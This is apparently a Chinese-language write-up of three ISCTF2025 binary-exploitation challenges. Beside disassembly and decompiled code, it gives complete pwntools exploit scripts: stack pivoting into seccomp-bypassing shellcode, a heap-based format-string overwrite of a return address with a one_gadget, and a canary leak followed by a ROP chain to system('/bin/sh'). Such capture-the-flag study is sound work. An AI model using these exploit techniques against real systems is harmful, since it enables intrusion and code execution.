.text:000000000000117D ; } // starts at 1149
.text:000000000000117D sub_1149 endp

逆向下来大致的意思是:

在0x114514000开了一个可读可写可执行空间,可以向里面写0x10的数据,有canary保护

然后可以在栈上写栈溢出,0x1000的长度,没有canary保护

当然我们也得到了函数基地址和栈地址

栈溢出的这一块很奇怪,控制不了返回地址,总是call exit

看了看汇编代码

.text:0000000000001703                 lea     rax, [rbp+a2]
.text:000000000000170A mov edx, 1000h ; i
.text:000000000000170F mov rsi, rax ; a2
.text:0000000000001712 mov edi, 0 ; a1
.text:0000000000001717 call sub_13B3
.text:000000000000171C movzx eax, byte ptr [rbp+8]
.text:0000000000001720 movsx rax, al
.text:0000000000001724 cmp [rbp+var_128], rax
.text:000000000000172B jz short loc_1761
.text:000000000000172D lea rax, [rbp+var_120]
.text:0000000000001734 mov rdi, rax
.text:0000000000001737 call sub_1343
.text:000000000000173C mov r9d, 3Ch ; '<'
.text:0000000000001742 mov r8d, 0
.text:0000000000001748 mov ecx, 0
.text:000000000000174D mov edx, 0
.text:0000000000001752 mov esi, 0
.text:0000000000001757 mov edi, 0
.text:000000000000175C call sub_1149
.text:0000000000001761
.text:0000000000001761 loc_1761: ; CODE XREF: sub_1637+F4↑j
.text:0000000000001761 xor rax, rax
.text:0000000000001764 leave
.text:0000000000001765 retn
.text:0000000000001765 sub_1637 endp

原来是这一块没有跳转,导致直接将rax=r9d=0x3c,call exit了

关键是这一块

.text:000000000000171C                 movzx   eax, byte ptr [rbp+8]
.text:0000000000001720 movsx rax, al
.text:0000000000001724 cmp [rbp+var_128], rax
.text:000000000000172B jz short loc_1761

要使它成立才行,调试的时候发现[rbp+var_128]是0xffffffffffffff9b

关键就出在movsx rax, al,只要我们的[rbp+8]的byte符号拓展与0xffffffffffffff9b相等就行,也就是返回地址的最后一位要是0x9b

很快就找到了对于返回地址

.text:000000000000189B                 xor     rax, rax
.text:000000000000189E leave
.text:000000000000189F retn

那我们的思路肯定是利用栈迁移在0x114514000写上shellcode并且返回到shellcode上了

返回到main一开始的sub_13B3,向0x114514000里面写,由于我们返回前已经是控制好了的,是一个比较大的读取数,就不用返回到0x1861,直接返回到0x1866,抬高一点地址可以用push就不会写到非法内存里了,后面的就是和前面的一模一样的,控制好栈迁移就可以了

.text:000000000000184F ; __unwind {
.text:000000000000184F endbr64
.text:0000000000001853 push rbp
.text:0000000000001854 mov rbp, rsp
.text:0000000000001857 mov eax, 0
.text:000000000000185C call sub_1429
.text:0000000000001861 mov edx, 10h ; i
.text:0000000000001866 mov rax, 114514000h
.text:0000000000001870 mov rsi, rax ; a2
.text:0000000000001873 mov edi, 0 ; a1
.text:0000000000001878 call sub_13B3
.text:000000000000187D mov eax, 0
.text:0000000000001882 call sub_150A
.text:0000000000001887 mov eax, 0
.text:000000000000188C call sub_1785
.text:0000000000001891 mov eax, 0
.text:0000000000001896 call sub_1637
.text:000000000000189B xor rax, rax
.text:000000000000189E leave
.text:000000000000189F retn

一开始call execve老是不行,结果发现偷偷开了沙箱,无语了

 ~/ISCTF/ezstack  seccomp-tools dump ./pwn                                                                                         
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
p=start()
p.recvuntil(b"Welcome to ISCTF2025!\n")
p.send(p64(0x114514000)+p64(0xffffffffffffff9b))
p.recvuntil(b"DO YOU LIKE GIFT?\n")
data_addr=u64(p.recv(6).ljust(8,b"\x00"))
elf_base=data_addr-0x184f
p.recvuntil(b"\n")
data_addr=u64(p.recv(6).ljust(8,b"\x00"))
stack_base=data_addr
log.success(hex(elf_base))
log.success(hex(stack_base))
payload=b"a"*0x110+p64(stack_base+0x38)+p64(elf_base+0x189b)+p64(0x114514040)+p64(elf_base+0x1866)
p.sendline(payload)
pause()

shellcode=asm("""
mov rdi,0x114514040
xor esi,esi
xor edx,edx
mov eax,2
syscall
mov rdx, 0x200
mov edi,eax
mov rsi,0x114514400
xor eax,eax
syscall
mov edi,1
mov rsi,0x114514400
mov eax,edi
syscall
""")

p.sendline(b"a"*0x40+b"/flag\x00\x00\x00"+p64(0x114514050)+shellcode.ljust(0xc0,b"\x00"))
pause()

payload2=b"a"*0x110+p64(stack_base+0x48)+p64(elf_base+0x189b)+p64(0x114514040)+p64(elf_base+0x189b)
p.sendline(payload2)
p.interactive()

heap

看起来是堆题,实际上是考非栈上格式化字符串漏洞

 ~/ISCTF/heap  checksec ./pwn                                                                                                     
[*] '/home/ubuntu/ISCTF/heap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
print_logo();
__isoc99_scanf("%d", &n4);
if ( n4 == 4 )
break;
if ( n4 <= 4 )
{
switch ( n4 )
{
case 3:
show();
break;
case 1:
add();
break;
case 2:
delete();
break;
}
}
}
exit(0);
}

操作函数如下

unsigned __int64 add()
{
unsigned int nbytes; // [rsp+0h] [rbp-10h] BYREF
int nbytes_4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
nbytes = 0;
printf("> ");
__isoc99_scanf("%d", &nbytes);
for ( nbytes_4 = 0; *((_QWORD *)&list + nbytes_4); ++nbytes_4 )
;
*((_QWORD *)&list + nbytes_4) = malloc((int)nbytes);
if ( !*((_QWORD *)&list + nbytes_4) )
exit(0);
printf("> ");
read(0, *((void **)&list + nbytes_4), nbytes);
puts("OK!");
return v3 - __readfsqword(0x28u);
}
void *delete()
{
void *result; // rax
int num; // [rsp+Ch] [rbp-4h]

printf("> ");
num = read_num();
if ( !*((_QWORD *)&list + num) )
exit(0);
free(*((void **)&list + num));
result = &list;
*((_QWORD *)&list + num) = 0LL;
return result;
}
unsigned __int64 show()
{
_DWORD v1[2]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1[0] = 0;
v1[1] = 0;
printf("> ");
__isoc99_scanf("%d", v1);
if ( !*((_QWORD *)&list + v1[0]) )
exit(0);
printf(*((const char **)&list + v1[0]));
puts(&s_);
return v2 - __readfsqword(0x28u);
}

很明显,show就是格式化字符串漏洞,由于是写在堆上的,也是非栈上格式化字符串漏洞

而且主函数使用的是exit,不能改主函数返回地址,只能改show函数的返回地址了

“诸葛连弩”需要多次修改,这对于这道题来说实现不了,会出现只修改一次就会出现从show返回时地址错误

所以我们需要另一种方法,就是“四马分肥”

简单来说,“诸葛连弩”是使用一个三连指针攻击四次,“四马分肥”是指使用四个三连指针攻击一次

但是这道题好像没有这么多三联指针,所以只能用“诸葛连弩”创造出多个三联指针了

这个题也是要改rbp达成ogg条件的

def add(idx,size, data=b''):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(size))
p.sendafter(b'> ', data)

def delete(idx):
p.sendlineafter(b'> ', b'2')
p.sendafter(b'> ', str(idx))

def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', str(idx))

p=start()

add(0,0x100,b"%33$pa%8$p")
show(0)
p.recvuntil(b"0x")
libc_base=int(p.recv(12),16)-libc.sym["__libc_start_main"]-128
log.success(hex(libc_base))
p.recvuntil(b"a0x")
stack_recv=int(p.recv(12),16)
log.success(hex(stack_recv))

one_gadget_addr=libc_base+0xebc81
one_gadget_1 = one_gadget_addr & 0xffff
one_gadget_2 = (one_gadget_addr >> 16)& 0xffff
one_gadget_3 = (one_gadget_addr >> 32)& 0xffff
one_gadget_4 = (one_gadget_addr >> 48)& 0xffff
one_gadget_5=(0x10000+one_gadget_2-one_gadget_1)& 0xffff
one_gadget_6=(0x10000+one_gadget_3-one_gadget_2)& 0xffff
stack_recv_1=(stack_recv+0x10)&0xffff
rbp=(0x10000+stack_recv_1-one_gadget_3)&0xffff

stack_addr_1=(stack_recv-0x18)& 0xffff
stack_addr_2=(stack_recv-0x18+2)& 0xffff
stack_addr_3=(stack_recv-0x18+4)& 0xffff
stack_addr_4=(stack_recv-0x18+6)& 0xffff

#诸葛连弩创造三联指针
stack_addr_new_1=(stack_recv-0x18)& 0xffff
stack_addr_new_2=((stack_recv-0x18)>>16)& 0xffff
stack_addr_new_3=((stack_recv-0x18)>>32)& 0xffff

new_addr_1=(stack_recv)& 0xffff
new_addr_2=(stack_recv+2)& 0xffff
new_addr_3=(stack_recv+4)& 0xffff

payload_1=b"%" + str(new_addr_1).encode("utf-8") + b"c%17$hn"
add(1,0x100,payload_1)
show(1)
payload_1=b"%" + str(stack_addr_new_1).encode("utf-8") + b"c%47$hn"
add(2,0x100,payload_1)
show(2)
payload_2=b"%" + str(new_addr_2).encode("utf-8") + b"c%17$hn"
add(3,0x100,payload_2)
show(3)
payload_2=b"%" + str(stack_addr_new_2).encode("utf-8") + b"c%47$hn"
add(4,0x100,payload_2)
show(4)
payload_3=b"%" + str(new_addr_3).encode("utf-8") + b"c%17$hn"
add(5,0x100,payload_3)
show(5)
payload_3=b"%" + str(stack_addr_new_3).encode("utf-8") + b"c%47$hn"
add(6,0x100,payload_3)
show(6)
#pause()

stack_addr_new_1=(stack_recv-0x18+4)& 0xffff
stack_addr_new_2=((stack_recv-0x18+4)>>16)& 0xffff
stack_addr_new_3=((stack_recv-0x18+4)>>32)& 0xffff

new_addr_1=(stack_recv+0x110)& 0xffff
new_addr_2=(stack_recv+2+0x110)& 0xffff
new_addr_3=(stack_recv+4+0x110)& 0xffff

payload_1=b"%" + str(new_addr_1).encode("utf-8") + b"c%17$hn"
add(7,0x100,payload_1)
show(7)
payload_1=b"%" + str(stack_addr_new_1).encode("utf-8") + b"c%47$hn"
add(8,0x100,payload_1)
show(8)
payload_2=b"%" + str(new_addr_2).encode("utf-8") + b"c%17$hn"
add(9,0x100,payload_2)
show(9)
payload_2=b"%" + str(stack_addr_new_2).encode("utf-8") + b"c%47$hn"
add(10,0x100,payload_2)
show(10)
payload_3=b"%" + str(new_addr_3).encode("utf-8") + b"c%17$hn"
add(11,0x100,payload_3)
show(11)
payload_3=b"%" + str(stack_addr_new_3).encode("utf-8") + b"c%47$hn"
add(12,0x100,payload_3)
show(12)

stack_addr_new_1=(stack_recv-0x20)& 0xffff
stack_addr_new_2=((stack_recv-0x20)>>16)& 0xffff
stack_addr_new_3=((stack_recv-0x20)>>32)& 0xffff

new_addr_1=(stack_recv+0x100)& 0xffff
new_addr_2=(stack_recv+2+0x100)& 0xffff
new_addr_3=(stack_recv+4+0x100)& 0xffff

payload_1=b"%" + str(new_addr_1).encode("utf-8") + b"c%17$hn"
add(13,0x100,payload_1)
show(13)
payload_1=b"%" + str(stack_addr_new_1).encode("utf-8") + b"c%47$hn"
add(14,0x100,payload_1)
show(14)
payload_2=b"%" + str(new_addr_2).encode("utf-8") + b"c%17$hn"
add(15,0x100,payload_2)
show(15)
payload_2=b"%" + str(stack_addr_new_2).encode("utf-8") + b"c%47$hn"
add(16,0x100,payload_2)
show(16)
payload_3=b"%" + str(new_addr_3).encode("utf-8") + b"c%17$hn"
add(17,0x100,payload_3)
show(17)
payload_3=b"%" + str(stack_addr_new_3).encode("utf-8") + b"c%47$hn"
add(18,0x100,payload_3)
show(18)

# 四马分肥
payload1=b"%" + str(stack_addr_2).encode("utf-8") + b"c%20$hn"

payload2=b"%" + str(one_gadget_1).encode("utf-8") + b"c%12$hn"
payload2+=b"%" + str(one_gadget_5).encode("utf-8") + b"c%47$hn"
payload2+=b"%" + str(one_gadget_6).encode("utf-8") + b"c%46$hn"
payload2+=b"%" + str(rbp).encode("utf-8") + b"c%44$hn"

add(19,0x100,payload1)
add(20,0x100,payload2)

show(19)
show(20)

p.interactive()

ez_canary

保护如下

 ~/ISCTF/ez_canary  checksec ./pwn                                                                                                 
[*] '/home/ubuntu/ISCTF/ez_canary/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

函数如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to Kris's program!");
pthread_create(newthread, 0LL, vuln, 0LL);
pthread_join(newthread[0], 0LL);
return 0;
}
void *__fastcall vuln(void *a1)
{
_QWORD buf[6]; // [rsp+10h] [rbp-150h] BYREF
__int16 v3; // [rsp+40h] [rbp-120h]
_QWORD buf_1[34]; // [rsp+50h] [rbp-110h] BYREF

buf_1[33] = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v3 = 0;
memset(buf_1, 0, 256);
puts("Please enter your name >>");
read(0, buf, 0x1000uLL);
printf("Your name: %s", (const char *)buf);
puts("Please enter your content >>");
read(0, buf_1, 0x1000uLL);
printf("Your content: %s", (const char *)buf_1);
return 0LL;
}

一样是先覆盖canary低字节泄露canary

然后栈迁移到bss段上,返回vuln函数,让buf的地址刚好是stderr,再覆盖低一字节,泄露出libc地址

.bss:0000000000404080                 public stderr@GLIBC_2_2_5
.bss:0000000000404080 ; FILE *stderr
.bss:0000000000404080 stderr@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400500↑o
.bss:0000000000404080 ; init+30↑r
.bss:0000000000404080 ; Alternative name is 'stderr'
.bss:0000000000404080 ; Copy of shared data

得到libc地址后,准备再次栈迁移,抬高栈地址给system函数

设置好偏移和rop链就可以了

p=start()
bss_addr=0x404080
p.recvuntil(b"Please enter your name >>\n")
p.send(b'a'*0x149)
p.recvuntil(b"a"*0x149)
canary=u64(b"\x00"+p.recv(7))
log.success(hex(canary))
payload1=b"a"*0x108+p64(canary)+p64(bss_addr+0x150)+p64(0x4013E3)
p.recvuntil(b"Please enter your content >>\n")
p.send(payload1)

p.recvuntil(b"Please enter your name >>\n")
p.send(b'\xa0')
p.recvuntil(b"\xa0")
libc_base=u64(b"\xa0"+p.recv(5).ljust(7,b"\x00"))-libc.sym["_IO_2_1_stderr_"]
log.success(hex(libc_base))

p.recvuntil(b"Please enter your content >>\n")
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload2=b"a"*0x108+p64(canary)+p64(bss_addr+0x840)+p64(0x401492)
payload2=payload2.ljust(0x6f0,b"\x00")
payload2+=p64(bss_addr+0x750)+p64(libc_base+0x2a3e5)+p64(binsh_addr)+p64(0x401493)+p64(system_addr)
payload2=payload2.ljust(0x7f8,b"\x00")
payload2+=p64(canary)+p64(bss_addr+0x800-0x110+0x40)+p64(0x401492)
#pause()
p.send(payload2)
p.interactive()